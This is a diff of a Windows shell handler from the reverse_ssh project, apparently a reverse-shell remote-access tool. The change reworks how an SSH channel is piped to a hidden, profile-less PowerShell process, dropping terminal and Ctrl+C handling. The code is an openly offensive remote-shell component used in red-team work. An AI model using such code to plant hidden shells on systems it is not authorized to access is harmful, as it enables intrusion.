■ ■ ■ ■ ■ ■
internal/client/handlers/shell_windows.go
| skipped 7 lines |
8 | 8 | | "io" |
9 | 9 | | "os" |
10 | 10 | | "os/exec" |
11 | | - | "os/signal" |
12 | 11 | | "syscall" |
13 | 12 | | |
14 | 13 | | "github.com/ActiveState/termtest/conpty" |
15 | 14 | | "github.com/NHAS/reverse_ssh/internal" |
16 | | - | "github.com/NHAS/reverse_ssh/internal/terminal" |
17 | 15 | | "github.com/NHAS/reverse_ssh/pkg/logger" |
18 | 16 | | "github.com/NHAS/reverse_ssh/pkg/winpty" |
19 | 17 | | "golang.org/x/crypto/ssh" |
| skipped 91 lines |
111 | 109 | | |
112 | 110 | | func basicShell(connection ssh.Channel, reqs <-chan *ssh.Request, log logger.Logger) { |
113 | 111 | | |
114 | | - | c := make(chan os.Signal, 1) |
115 | | - | expected := make(chan bool, 1) |
116 | | - | |
117 | | - | signal.Notify(c, os.Interrupt) |
118 | | - | signal.Notify(c, syscall.SIGTERM) |
119 | | - | |
120 | | - | go func() { |
121 | | - | for { |
122 | | - | select { |
123 | | - | case <-c: |
124 | | - | os.Exit(0) |
125 | | - | case <-expected: |
126 | | - | <-c |
127 | | - | |
128 | | - | } |
129 | | - | } |
130 | | - | }() |
131 | | - | |
132 | 112 | | cmd := exec.Command("powershell.exe", "-NoProfile", "-WindowStyle", "hidden", "-NoLogo") |
133 | 113 | | cmd.SysProcAttr = &syscall.SysProcAttr{ |
134 | 114 | | |
| skipped 3 lines |
138 | 118 | | stdout, err := cmd.StdoutPipe() |
139 | 119 | | if err != nil { |
140 | 120 | | log.Error("%s", err) |
| 121 | + | fmt.Fprint(connection, "Unable to open stdout pipe") |
| 122 | + | |
141 | 123 | | return |
142 | 124 | | } |
143 | 125 | | |
| skipped 2 lines |
146 | 128 | | stdin, err := cmd.StdinPipe() |
147 | 129 | | if err != nil { |
148 | 130 | | log.Error("%s", err) |
| 131 | + | fmt.Fprint(connection, "Unable to open stdin pipe") |
149 | 132 | | return |
150 | 133 | | } |
151 | 134 | | |
152 | | - | term := terminal.NewTerminal(connection, "") |
153 | | - | // Dynamically handle resizes of terminal window |
154 | | - | go func() { |
155 | | - | for req := range reqs { |
156 | | - | switch req.Type { |
| 135 | + | err = cmd.Start() |
| 136 | + | if err != nil { |
| 137 | + | log.Error("%s", err) |
| 138 | + | fmt.Fprint(connection, "Could not start powershell") |
157 | 139 | | |
158 | | - | case "window-change": |
159 | | - | w, h := internal.ParseDims(req.Payload) |
160 | | - | term.SetSize(int(w), int(h)) |
| 140 | + | } |
161 | 141 | | |
162 | | - | } |
163 | | - | |
164 | | - | } |
165 | | - | }() |
| 142 | + | go ssh.DiscardRequests(reqs) |
166 | 143 | | |
167 | 144 | | go func() { |
168 | 145 | | |
169 | 146 | | buf := make([]byte, 128) |
| 147 | + | defer connection.Close() |
170 | 148 | | |
171 | 149 | | for { |
172 | 150 | | |
| skipped 5 lines |
178 | 156 | | return |
179 | 157 | | } |
180 | 158 | | |
181 | | - | //This should ignore the echo'd result from cmd.exe on newline, this isnt super thread safe, but should be okay. |
182 | | - | _, err = term.Write(buf[:n]) |
| 159 | + | _, err = connection.Write(buf[:n]) |
183 | 160 | | if err != nil { |
184 | 161 | | log.Error("%s", err) |
185 | 162 | | return |
186 | 163 | | } |
187 | | - | |
188 | 164 | | } |
189 | 165 | | }() |
190 | 166 | | |
191 | 167 | | go func() { |
| 168 | + | buf := make([]byte, 128) |
| 169 | + | defer connection.Close() |
192 | 170 | | |
193 | 171 | | for { |
194 | | - | //This will break if the user does CTRL+D apparently we need to reset the whole terminal if a user does this.... so just exit instead |
195 | | - | line, err := term.ReadLine() |
196 | | - | if err != nil && err != terminal.ErrCtrlC { |
197 | | - | log.Error("%s", err) |
198 | | - | return |
199 | | - | } |
200 | | - | |
201 | | - | if err == terminal.ErrCtrlC { |
202 | | - | expected <- true |
203 | | - | err := sendCtrlC(cmd.Process.Pid) |
204 | | - | if err != nil { |
205 | | - | fmt.Fprintf(term, "Failed to send Ctrl+C sorry! You are most likely trapped: %s", err) |
| 172 | + | n, err := connection.Read(buf) |
| 173 | + | if err != nil { |
| 174 | + | if err != io.EOF { |
206 | 175 | | log.Error("%s", err) |
207 | 176 | | } |
| 177 | + | return |
208 | 178 | | } |
209 | 179 | | |
210 | | - | if err == nil { |
211 | | - | _, err := stdin.Write([]byte(line + "\r\n")) |
212 | | - | if err != nil { |
213 | | - | fmt.Fprintf(term, "Error writing to STDIN: %s", err) |
| 180 | + | _, err = stdin.Write(buf[:n]) |
| 181 | + | if err != nil { |
| 182 | + | if err != io.EOF { |
214 | 183 | | log.Error("%s", err) |
215 | 184 | | } |
| 185 | + | return |
216 | 186 | | } |
217 | 187 | | |
218 | 188 | | } |
219 | | - | |
220 | 189 | | }() |
221 | 190 | | |
222 | | - | err = cmd.Run() |
| 191 | + | err = cmd.Wait() |
223 | 192 | | if err != nil { |
224 | 193 | | log.Error("%s", err) |
225 | 194 | | } |
226 | | - | } |
227 | | - | |
228 | | - | func sendCtrlC(pid int) error { |
229 | 195 | | |
230 | | - | d, e := syscall.LoadDLL("kernel32.dll") |
231 | | - | |
232 | | - | if e != nil { |
233 | | - | |
234 | | - | return fmt.Errorf("LoadDLL: %v\n", e) |
235 | | - | |
236 | | - | } |
237 | | - | |
238 | | - | p, e := d.FindProc("GenerateConsoleCtrlEvent") |
239 | | - | |
240 | | - | if e != nil { |
241 | | - | |
242 | | - | return fmt.Errorf("FindProc: %v\n", e) |
243 | | - | |
244 | | - | } |
245 | | - | r, _, e := p.Call(syscall.CTRL_C_EVENT, uintptr(pid)) |
246 | | - | |
247 | | - | if r == 0 { |
248 | | - | |
249 | | - | return fmt.Errorf("GenerateConsoleCtrlEvent: %v\n", e) |
250 | | - | |
251 | | - | } |
252 | | - | |
253 | | - | return nil |
254 | | - | |
| 196 | + | connection.Close() |
255 | 197 | | } |
256 | 198 | | |